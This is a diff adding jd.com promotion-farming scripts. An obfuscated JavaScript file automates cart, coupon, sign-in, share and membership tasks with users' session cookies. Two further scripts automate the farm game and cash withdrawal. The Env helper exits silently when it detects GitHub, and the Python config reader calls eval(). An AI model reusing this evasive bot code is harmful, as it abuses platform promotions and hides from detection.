_0x90a7c2=(Number(_0x23c295.activityData.task3AddCart.upLimit)-Number(_0x23c295.activityData.task3AddCart.finishedCount)); + console.log('开始做加购商品任务'); + _0x23c295.upFlag=true; + for(let _0x2527f5=0;(_0x2527f5<_0x23c295.activityData.task3AddCart.taskGoodList.length)&&(_0x90a7c2>0);_0x2527f5++){ + _0x23c295.oneGoodInfo=_0x23c295.activityData.task3AddCart.taskGoodList[_0x2527f5]; + if(_0x23c295.oneGoodInfo.finished===false){ + console.log('加购:'+(_0x23c295.oneGoodInfo.skuName||'')); + _0x23c295.body='activityId='+_0x23c295.activityId+'&uuid='+_0x23c295.activityData.actorInfo.uuid+'&skuId='+_0x23c295.oneGoodInfo.skuId; + let _0x4858b5=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doAddGoodsTask',_0x23c295.body); + console.log(JSON.stringify(_0x4858b5)); + await _0x23c295.wait(3000); + _0x90a7c2--; + } + } + }else{ + console.log('加购商品已完成'); + } + } + if(_0x23c295.activityData.task6GetCoupon){ + if(_0x23c295.activityData.task6GetCoupon.finishedCount!==_0x23c295.activityData.task6GetCoupon.upLimit){ + _0x90a7c2=(Number(_0x23c295.activityData.task6GetCoupon.upLimit)-Number(_0x23c295.activityData.task6GetCoupon.finishedCount)); + console.log('开始做领取优惠券'); + _0x23c295.upFlag=true; + for(let _0x48cbc6=0;(_0x48cbc6<_0x23c295.activityData.task6GetCoupon.taskCouponInfoList.length)&&(_0x90a7c2>0);_0x48cbc6++){ + _0x23c295.oneCouponInfo=_0x23c295.activityData.task6GetCoupon.taskCouponInfoList[_0x48cbc6]; + if(_0x23c295.oneCouponInfo.finished===false){ + _0x23c295.body='activityId='+_0x23c295.activityId+'&uuid='+_0x23c295.activityData.actorInfo.uuid+'&couponId='+_0x23c295.oneCouponInfo.couponInfo.couponId; + let _0x4858b5=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doGetCouponTask',_0x23c295.body); + console.log(JSON.stringify(_0x4858b5)); + await _0x23c295.wait(3000); + _0x90a7c2--; + } + } + }else{ + console.log('领取优惠券已完成'); + } + } + _0x23c295.body='activityId='+_0x23c295.activityId+'&uuid='+_0x23c295.activityData.actorInfo.uuid; + if(_0x23c295.activityData.task1Sign&&_0x23c295.activityData.task1Sign.finishedCount===0){ + console.log('执行每日签到'); + let _0x3b44d4=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doSign',_0x23c295.body); + console.log(JSON.stringify(_0x3b44d4)); + await _0x23c295.wait(3000); + _0x23c295.upFlag=true; + }else{ + console.log('已签到'); + }if(_0x23c295.activityData.task4Share){ + if(_0x23c295.activityData.task4Share.finishedCount!==_0x23c295.activityData.task4Share.upLimit){ + _0x90a7c2=Number(_0x23c295.activityData.task4Share.upLimit)-Number(_0x23c295.activityData.task4Share.finishedCount); + console.log('开始做分享任务'); + _0x23c295.upFlag=true; + for(let _0x107268=0;_0x107268<_0x90a7c2;_0x107268++){ + console.log('执行第'+(_0x107268+1)+'次分享'); + let _0x3b44d4=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doShareTask',_0x23c295.body); + console.log(JSON.stringify(_0x3b44d4)); + await _0x23c295.wait(3000); + } + }else{ + console.log('分享任务已完成'); + } + }if(_0x23c295.activityData.task5Remind){ + if(_0x23c295.activityData.task5Remind.finishedCount!==_0x23c295.activityData.task5Remind.upLimit){ + console.log('执行设置活动提醒'); + _0x23c295.upFlag=true; + let _0x204aab=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doRemindTask',_0x23c295.body); + console.log(JSON.stringify(_0x204aab)); + await _0x23c295.wait(3000); + }else{ + console.log('设置活动提醒已完成'); + } + }if(_0x23c295.activityData.task7MeetPlaceVo){ + if(_0x23c295.activityData.task7MeetPlaceVo.finishedCount!==_0x23c295.activityData.task7MeetPlaceVo.upLimit){ + console.log('执行逛会场'); + _0x23c295.upFlag=true; + let _0x84bc88=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doMeetingTask',_0x23c295.body); + console.log(JSON.stringify(_0x84bc88)); + await _0x23c295.wait(3000); + }else{ + console.log('逛会场已完成'); + } + } +} +function getUrlData(_0x3c166f,_0x3dcbe9){ + if(typeof URL!=='undefined'){ + let _0xe4e3a4=new URL(_0x3c166f); + let _0x5ddc8d=_0xe4e3a4.searchParams.get(_0x3dcbe9); + return _0x5ddc8d?_0x5ddc8d:''; + }else{ + const _0x114c48=_0x3c166f.match(/\?.*/)[0].substring(1); + const _0x1baacd=_0x114c48.split('&'); + for(let _0x3113d1=0;_0x3113d1<_0x1baacd.length;_0x3113d1++){ + const _0x414733=_0x1baacd[_0x3113d1].split('='); + if(_0x414733[0]===_0x3dcbe9){ + return _0x1baacd[_0x3113d1].substr(_0x1baacd[_0x3113d1].indexOf('=')+1); + } + } + return''; + } +} +async function getToken(_0x3c9452){ + let _0x575ad2={'url':'https://api.m.jd.com/client.action?functionId=isvObfuscator','body':_0x3c9452.body,'headers':{'Host':'api.m.jd.com','accept':'*/*','user-agent':'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)','accept-language':'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6','content-type':'application/x-www-form-urlencoded','Cookie':_0x3c9452.cookie}}; + return new Promise(_0x177e3a=>{ + _0x3c9452.post(_0x575ad2,async(_0x846899,_0x5ddcd4,_0x58ed45)=>{ + try{ + if(_0x846899){ + console.log(''+JSON.stringify(_0x846899)); + console.log(_0x3c9452.name+' API请求失败,请检查网路重试'); + }else{ + _0x58ed45=JSON.parse(_0x58ed45); + } + }catch(_0x537dc9){ + _0x3c9452.logErr(_0x537dc9,_0x5ddcd4); + } + finally{ + _0x177e3a(_0x58ed45.token||''); + } + }); + }); +} +async function getHtml(_0x4addca){ + let _0x25eb03={'url':_0x4addca.thisActivityUrl,'headers':{'Host':_0x4addca.host,'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Cookie':'IsvToken='+_0x4addca.token+';'+_0x4addca.cookie,'User-Agent':_0x4addca.UA,'Accept-Language':'zh-cn','Accept-Encoding':'gzip, deflate, br','Connection':'keep-alive'}}; + return new Promise(_0x35175a=>{ + _0x4addca.get(_0x25eb03,(_0x53f11b,_0x24beb3,_0x50a1a1)=>{ + try{ + dealCK(_0x4addca,_0x24beb3); + }catch(_0x182b52){ + _0x4addca.logErr(_0x182b52,_0x24beb3); + } + finally{ + _0x35175a(_0x50a1a1); + } + }); + }); +} +function dealCK(_0x1ea343,_0x122b40){ + if(_0x122b40===undefined){ + return; + } + let _0x3d9911=_0x122b40.headers['set-cookie']||_0x122b40.headers['Set-Cookie']||''; + if(_0x3d9911){ + let _0x2fabb2=_0x3d9911.filter(_0x942508=>_0x942508.indexOf('lz_jdpin_token')!==-1)[0]; + if(_0x2fabb2&&(_0x2fabb2.indexOf('lz_jdpin_token=')>-1)){ + _0x1ea343.lz_jdpin_token=_0x2fabb2.split(';')&&(_0x2fabb2.split(';')[0]+';')||''; + } + let _0x23a7e9=_0x3d9911.filter(_0x41bf1f=>_0x41bf1f.indexOf('LZ_TOKEN_KEY')!==-1)[0]; + if(_0x23a7e9&&(_0x23a7e9.indexOf('LZ_TOKEN_KEY=')>-1)){ + let _0x22583b=_0x23a7e9.split(';')&&_0x23a7e9.split(';')[0]||''; + _0x1ea343.LZ_TOKEN_KEY=_0x22583b.replace('LZ_TOKEN_KEY=',''); + } + let _0x381ba3=_0x3d9911.filter(_0x29a259=>_0x29a259.indexOf('LZ_TOKEN_VALUE')!==-1)[0]; + if(_0x381ba3&&_0x381ba3.indexOf('LZ_TOKEN_VALUE=')>-1){ + let _0x1f6cc4=_0x381ba3.split(';')&&_0x381ba3.split(';')[0]||''; + _0x1ea343.LZ_TOKEN_VALUE=_0x1f6cc4.replace('LZ_TOKEN_VALUE=',''); + } + } +} +async function takePostRequest(_0x22084a,_0x4d19d2,_0x4cee5b='activityId='+_0x22084a.activityId+'&pin='+encodeURIComponent(_0x22084a.pin)){ + let _0x3e5e9='https://'+_0x22084a.host+'/'+_0x4d19d2; + switch(_0x4d19d2){ + case 'customer/getSimpleActInfoVo': + case 'dz/common/getSimpleActInfoVo': + case 'wxCommonInfo/initActInfo': + case 'wxCollectionActivity/shopInfo': + case 'wxCollectCard/shopInfo': + case 'wxCollectCard/drawContent': + _0x4cee5b='activityId='+_0x22084a.activityId; + break; + case 'customer/getMyPing': + _0x4cee5b='userId='+_0x22084a.venderId+'&token='+encodeURIComponent(_0x22084a.token)+'&fromType=APP'; + break; + case'common/accessLogWithAD': + case 'common/accessLog': + _0x4cee5b='venderId='+_0x22084a.venderId+'&code='+_0x22084a.activityType+'&pin='+encodeURIComponent(_0x22084a.pin)+'&activityId='+_0x22084a.activityId+'&pageUrl='+encodeURIComponent(_0x22084a.thisActivityUrl)+'&subType=app&adSource=null'; + break; + case 'wxActionCommon/getUserInfo': + _0x4cee5b='pin='+encodeURIComponent(_0x22084a.pin); + break; + case'wxCommonInfo/getActMemberInfo': + _0x4cee5b='venderId='+_0x22084a.venderId+'&activityId='+_0x22084a.activityId+'&pin='+encodeURIComponent(_0x22084a.pin); + break; + case 'wxActionCommon/getShopInfoVO': + _0x4cee5b='userId='+_0x22084a.venderId; + break; + case '2222': + _0x4cee5b='222'; + break; + } + const _0x2993f8={'X-Requested-With':'XMLHttpRequest','Connection':'keep-alive','Accept-Encoding':'gzip, deflate, br','Content-Type':'application/x-www-form-urlencoded','Origin':'https://'+_0x22084a.host,'User-Agent':_0x22084a.UA,'Cookie':_0x22084a.cookie+' LZ_TOKEN_KEY='+_0x22084a.LZ_TOKEN_KEY+'; LZ_TOKEN_VALUE='+_0x22084a.LZ_TOKEN_VALUE+'; AUTH_C_USER='+_0x22084a.pin+'; '+_0x22084a.lz_jdpin_token,'Host':_0x22084a.host,'Referer':_0x22084a.thisActivityUrl,'Accept-Language':'zh-cn','Accept':'application/json'}; + let _0x1e0fb8={'url':_0x3e5e9,'method':'POST','headers':_0x2993f8,'body':_0x4cee5b}; + return new Promise(async _0x4afe88=>{ + _0x22084a.post(_0x1e0fb8,(_0xa06eab,_0x445f4b,_0x1ac3a4)=>{ + try{ + dealCK(_0x22084a,_0x445f4b); + if(_0x1ac3a4){ + _0x1ac3a4=JSON.parse(_0x1ac3a4); + } + }catch(_0x174945){ + console.log(_0x1ac3a4); + _0x22084a.logErr(_0x174945,_0x445f4b); + } + finally{ + _0x4afe88(_0x1ac3a4); + } + }); + }); +} +async function join(_0x20b776){ + _0x20b776.shopactivityId=''; + await _0x20b776.wait(1000); + await getshopactivityId(_0x20b776); + let _0x2c5d06=''; + if(_0x20b776.shopactivityId)_0x2c5d06=',"activityId":'+_0x20b776.shopactivityId; + let _0x317371={'url':'https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"'+_0x20b776.venderId+'","shopId":"'+_0x20b776.venderId+'","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0'+_0x2c5d06+',"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888','headers':{'Content-Type':'text/plain; Charset=UTF-8','Origin':'https://api.m.jd.com','Host':'api.m.jd.com','accept':'*/*','User-Agent':_0x20b776.UA,'content-type':'application/x-www-form-urlencoded','Referer':'https://shopmember.m.jd.com/shopcard/?venderId='+_0x20b776.venderId+'&shopId='+_0x20b776.venderId,'Cookie':_0x20b776.cookie}}; + return new Promise(async _0x373e23=>{ + _0x20b776.get(_0x317371,async(_0x520d30,_0x1d78d3,_0x5a3bf2)=>{ + try{ + _0x5a3bf2=JSON.parse(_0x5a3bf2); + if(_0x5a3bf2.success==true){ + _0x20b776.log(_0x5a3bf2.message); + if(_0x5a3bf2.result&&_0x5a3bf2.result.giftInfo){ + for(let _0x57e5da of _0x5a3bf2.result.giftInfo.giftList){ + console.log('入会获得:'+_0x57e5da.discountString+_0x57e5da.prizeName+_0x57e5da.secondLineDesc); + } + } + }else if(_0x5a3bf2.success==false){ + _0x20b776.log(_0x5a3bf2.message); + } + }catch(_0x470238){ + _0x20b776.logErr(_0x470238,_0x1d78d3); + } + finally{ + _0x373e23(_0x5a3bf2); + } + }); + }); +} +async function getshopactivityId(_0x42e0bc){ + let _0x29a492={'url':'https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22'+_0x42e0bc.venderId+'%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888','headers':{'Content-Type':'text/plain; Charset=UTF-8','Origin':'https://api.m.jd.com','Host':'api.m.jd.com','accept':'*/*','User-Agent':_0x42e0bc.UA,'content-type':'application/x-www-form-urlencoded','Referer':'https://shopmember.m.jd.com/shopcard/?venderId='+_0x42e0bc.venderId+'&shopId='+_0x42e0bc.venderId,'Cookie':_0x42e0bc.cookie}}; + return new Promise(_0x49664a=>{ + _0x42e0bc.get(_0x29a492,async(_0x5b3807,_0x5d61b1,_0x313fb3)=>{ + try{ + _0x313fb3=JSON.parse(_0x313fb3); + if(_0x313fb3.success==true){ + console.log('入会:'+(_0x313fb3.result.shopMemberCardInfo.venderCardName||'')); + _0x42e0bc.shopactivityId=_0x313fb3.result.interestsRuleList&&_0x313fb3.result.interestsRuleList[0]&&_0x313fb3.result.interestsRuleList[0].interestsInfo&&_0x313fb3.result.interestsRuleList[0].interestsInfo.activityId||''; + } + }catch(_0x254d1e){ + _0x42e0bc.logErr(_0x254d1e,_0x5d61b1); + } + finally{ + _0x49664a(); + } + }); + }); +} +function getRandomArrayElements(_0x424ad7,_0x39bfd1){ + var _0x4063b6=_0x424ad7.slice(0),_0x57a8d=_0x424ad7.length,_0x5dc753=_0x57a8d-_0x39bfd1,_0x3010ad,_0x581bb0; + while(_0x57a8d-->_0x5dc753){ + _0x581bb0=Math.floor((_0x57a8d+1)*Math.random()); + _0x3010ad=_0x4063b6[_0x581bb0]; + _0x4063b6[_0x581bb0]=_0x4063b6[_0x57a8d]; + _0x4063b6[_0x57a8d]=_0x3010ad; + } + return _0x4063b6.slice(_0x5dc753); +}; +function Env(t,e){ + "undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0); + class s{ + constructor(t){ + this.env=t + }send(t,e="GET"){ + t="string"==typeof t?{url:t}:t; + let s=this.get; + return"POST"===e&&(s=this.post),new Promise((e,i)=>{ + s.call(this,t,(t,s,r)=>{t?i(t):e(s)}) + }) + }get(t){ + return this.send.call(this.env,t) + }post(t){ + return this.send.call(this.env,t,"POST") + } + }return new class{ + constructor(t,e){ + this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`) + }isNode(){ + return"undefined"!=typeof module&&!!module.exports + }isQuanX(){ + return"undefined"!=typeof $task + }isSurge(){ + return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon + }isLoon(){ + return"undefined"!=typeof $loon + }toObj(t,e=null){ + try{ + return JSON.parse(t) + }catch{ + return e + } + }toStr(t,e=null){ + try{ + return JSON.stringify(t) + }catch{ + return e + } + }getjson(t,e){ + let s=e; + const i=this.getdata(t); + if(i)try{ + s=JSON.parse(this.getdata(t)) + }catch{}return s + }setjson(t,e){ + try{ + return this.setdata(JSON.stringify(t),e) + }catch{ + return!1 + } + }getScript(t){ + return new Promise(e=>{ + this.get({url:t},(t,s,i)=>e(i)) + }) + }runScript(t,e){ + return new Promise(s=>{ + let i=this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i=i?i.replace(/\n/g,"").trim():i; + let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r=r?1*r:20,r=e&&e.timeout?e.timeout:r; + const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}}; + this.post(n,(t,e,i)=>s(i)) + }).catch(t=>this.logErr(t)) + }loaddata(){ + if(!this.isNode())return{}; + { + this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path"); + const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e); + if(!s&&!i)return{}; + { + const i=s?t:e; + try{ + return JSON.parse(this.fs.readFileSync(i)) + }catch(t){ + return{} + } + } + } + }writedata(){ + if(this.isNode()){ + this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path"); + const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data); + s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r) + } + }lodash_get(t,e,s){ + const i=e.replace(/\[(\d+)\]/g,".$1").split("."); + let r=t; + for(const t of i)if(r=Object(r)[t],void 0===r)return s; + return r + }lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){ + let e=this.getval(t); + if(/^@/.test(t)){ + const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):""; + if(r)try{ + const t=JSON.parse(r); + e=t?this.lodash_get(t,i,""):e + }catch(t){ + e="" + } + }return e + }setdata(t,e){ + let s=!1; + if(/^@/.test(e)){ + const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}"; + try{ + const e=JSON.parse(h); + this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i) + }catch(e){ + const o={}; + this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i) + } + }else s=this.setval(t,e); + return s + }getval(t){ + return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null + }setval(t,e){ + return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null + }initGotEnv(t){ + this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)) + }get(t,e=(()=>{})){ + t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{ + !t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i) + })):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{ + const{statusCode:s,statusCode:i,headers:r,body:o}=t; + e(null,{status:s,statusCode:i,headers:r,body:o},o) + },t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{ + try{ + if(t.headers["set-cookie"]){ + const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar + } + }catch(t){ + this.logErr(t) + } + }).then(t=>{ + const{statusCode:s,statusCode:i,headers:r,body:o}=t; + e(null,{status:s,statusCode:i,headers:r,body:o},o) + },t=>{ + const{message:s,response:i}=t; + e(s,i,i&&i.body) + })) + }post(t,e=(()=>{})){ + if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{ + !t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i) + });else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{ + const{statusCode:s,statusCode:i,headers:r,body:o}=t; + e(null,{status:s,statusCode:i,headers:r,body:o},o) + },t=>e(t));else if(this.isNode()){ + this.initGotEnv(t); + const{ + url:s,...i + }=t; + this.got.post(s,i).then(t=>{ + const{statusCode:s,statusCode:i,headers:r,body:o}=t; + e(null,{status:s,statusCode:i,headers:r,body:o},o) + },t=>{ + const{message:s,response:i}=t; + e(s,i,i&&i.body) + }) + } + }time(t,e=null){ + const s=e?new Date(e):new Date; + let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()}; + /(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length))); + for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length))); + return t + }msg(e=t,s="",i="",r){ + const o=t=>{ + if(!t)return t; + if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t} + :this.isSurge()?{url:t}:void 0; + if("object"==typeof t){ + if(this.isLoon()){ + let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"]; + return{openUrl:e,mediaUrl:s} + } + if(this.isQuanX()){ + let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl; + return{"open-url":e,"media-url":s} + }if(this.isSurge()){ + let e=t.url||t.openUrl||t["open-url"]; + return{url:e} + } + } + }; + if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){ + let t=["","==============📣系统通知📣=============="]; + t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t) + } + }log(...t){ + t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator)) + }logErr(t,e){ + const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon(); + s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t) + }wait(t){ + return new Promise(e=>setTimeout(e,t)) + }done(t={}){ + const e=(new Date).getTime(),s=(e-this.startTime)/1e3; + this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t) + } + }(t,e) +}; \ No newline at end of file diff --git a/jd_farautomation.js b/jd_farautomation.js new file mode 100644 index 0000000..cb15171 --- /dev/null +++ b/jd_farautomation.js @@ -0,0 +1,79 @@ +//20 5,12,21 * * * m_jd_farm_automation.js +//问题反馈:https://t.me/Wall_E_Channel +const {Env} = require('./magic'); +const $ = new Env('M农场自动化'); +let level = process.env.M_JD_FARM_LEVEL ? process.env.M_JD_FARM_LEVEL * 1 : 2 +$.log('默认种植2级种子,自行配置请配置 M_JD_FARM_LEVEL') +$.logic = async function () { + let info = await api('initForFarm', + {"version": 11, "channel": 3, "babelChannel": 0}); + $.log(JSON.stringify(info)); + if (!info?.farmUserPro?.treeState) { + $.log('可能没玩农场') + } + if (info.farmUserPro.treeState === 1) { + return + } + if (info.farmUserPro.treeState === 2) { + await $.wait(1000, 3000) + $.log(`${info.farmUserPro.name},种植时间:${$.formatDate( + info.farmUserPro.createTime)}`); + //成熟了 + let coupon = await api('gotCouponForFarm', + {"version": 11, "channel": 3, "babelChannel": 0}); + $.log(coupon) + info = await api('initForFarm', + {"version": 11, "channel": 3, "babelChannel": 0}); + } + if (info.farmUserPro.treeState !== 3) { + return + } + let hongBao = info.myHongBaoInfo.hongBao; + $.putMsg(`${hongBao.discount}红包,${$.formatDate(hongBao.endTime)}过期`) + let element = info.farmLevelWinGoods[level][0]; + await $.wait(1000, 3000) + info = await api('choiceGoodsForFarm', { + "imageUrl": '', + "nickName": '', + "shareCode": '', + "goodsType": element.type, + "type": "0", + "version": 11, + "channel": 3, + "babelChannel": 0 + }); + if (info.code * 1 === 0) { + $.putMsg(`已种【${info.farmUserPro.name}】`) + } + await api('gotStageAwardForFarm', + {"type": "4", "version": 11, "channel": 3, "babelChannel": 0}); + await api('waterGoodForFarm', + {"type": "", "version": 11, "channel": 3, "babelChannel": 0}); + await api('gotStageAwardForFarm', + {"type": "1", "version": 11, "channel": 3, "babelChannel": 0}); +}; + +$.run({ + wait: [20000, 30000], whitelist: ['1-15'] +}).catch( + reason => $.log(reason)); + +// noinspection DuplicatedCode +async function api(fn, body) { + let url = `https://api.m.jd.com/client.action?functionId=${fn}&body=${JSON.stringify( + body)}&client=apple&clientVersion=10.0.4&osVersion=13.7&appid=wh5&loginType=2&loginWQBiz=interact` +//↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓请求头↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ + let headers = { + "Cookie": $.cookie, + "Connection": "keep-alive", + "Accept": "*/*", + "Host": "api.m.jd.com", + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.4(0x1800042c) NetType/4G Language/zh_CN miniProgram`, + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn" + } + let {data} = await $.request(url, headers) + await $.wait(1000, 3000) + return data; +} + diff --git a/jd_fcwb.py b/jd_fcwb.py new file mode 100644 index 0000000..6fdb3ee --- /dev/null +++ b/jd_fcwb.py @@ -0,0 +1,408 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +''' +cron: 1 1 1 1 * +new Env('发财挖宝'); +活动入口: 京东极速版 > 我的 > 发财挖宝 +最高可得总和为10元的微信零钱和红包 +脚本功能为: 挖宝,提现,没有助力功能,当血量剩余 1 时停止挖宝,领取奖励并提现 + +目前需要完成逛一逛任务并且下单任务才能通关,不做的话大概可得1.5~2块的微信零钱 +''' +import os,json,random,time,re,string,functools,asyncio +import sys +sys.path.append('../../tmp') +print('\n运行本脚本之前请手动进入游戏点击一个方块\n') +print('\n挖的如果都是0.01红包就是黑了,别挣扎了!\n') +print('\n默认自动领取奖励,关闭请在代码383行加上#号注释即可\n') +try: + import requests +except Exception as e: + print(str(e) + "\n缺少requests模块, 请执行命令:pip3 install requests\n") +requests.packages.urllib3.disable_warnings() + + +linkId="pTTvJeSTrpthgk9ASBVGsw" + + +# 获取pin +cookie_findall=re.compile(r'pt_pin=(.+?);') +def get_pin(cookie): + try: + return cookie_findall.findall(cookie)[0] + except: + print('ck格式不正确,请检查') + +# 读取环境变量 +def get_env(env): + try: + if env in os.environ: + a=os.environ[env] + elif '/ql' in os.path.abspath(os.path.dirname(__file__)): + try: + a=v4_env(env,'/ql/config/config.sh') + except: + a=eval(env) + elif '/jd' in os.path.abspath(os.path.dirname(__file__)): + try: + a=v4_env(env,'/jd/config/config.sh') + except: + a=eval(env) + else: + a=eval(env) + except: + a='' + return a + +# v4 +def v4_env(env,paths): + b=re.compile(r'(?:export )?'+env+r' ?= ?[\"\'](.*?)[\"\']', re.I) + with open(paths, 'r') as f: + for line in f.readlines(): + try: + c=b.match(line).group(1) + break + except: + pass + return c + + +# 随机ua +def ua(): + sys.path.append(os.path.abspath('.')) + try: + from jdEnv import USER_AGENTS as a + except: + a='jdpingou;android;5.5.0;11;network/wifi;model/M2102K1C;appBuild/18299;partner/lcjx11;session/110;pap/JA2019_3111789;brand/Xiaomi;Mozilla/5.0 (Linux; Android 11; M2102K1C Build/RKQ1.201112.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.159 Mobile Safari/537.36' + return a + +# 13位时间戳 +def gettimestamp(): + return str(int(time.time() * 1000)) + +## 获取cooie +class Judge_env(object): + def main_run(self): + if '/jd' in os.path.abspath(os.path.dirname(__file__)): + cookie_list=self.v4_cookie() + else: + cookie_list=os.environ["JD_COOKIE"].split('&') # 获取cookie_list的合集 + if len(cookie_list)<1: + print('请填写环境变量JD_COOKIE\n') + return cookie_list + + def v4_cookie(self): + a=[] + b=re.compile(r'Cookie'+'.*?=\"(.*?)\"', re.I) + with open('/jd/config/config.sh', 'r') as f: + for line in f.readlines(): + try: + regular=b.match(line).group(1) + a.append(regular) + except: + pass + return a +cookie_list=Judge_env().main_run() + + +def taskGetUrl(functionId, body, cookie): + url=f'https://api.m.jd.com/?functionId={functionId}&body={json.dumps(body)}&t={gettimestamp()}&appid=activities_platform&client=H5&clientVersion=1.0.0' + headers={ + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'origin': 'https://bnzf.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'accept': 'application/json, text/plain, */*', + "User-Agent": ua(), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + for n in range(3): + try: + res=requests.get(url,headers=headers, timeout=10).json() + return res + except: + if n==2: + print('API请求失败,请检查网路重试❗\n') + 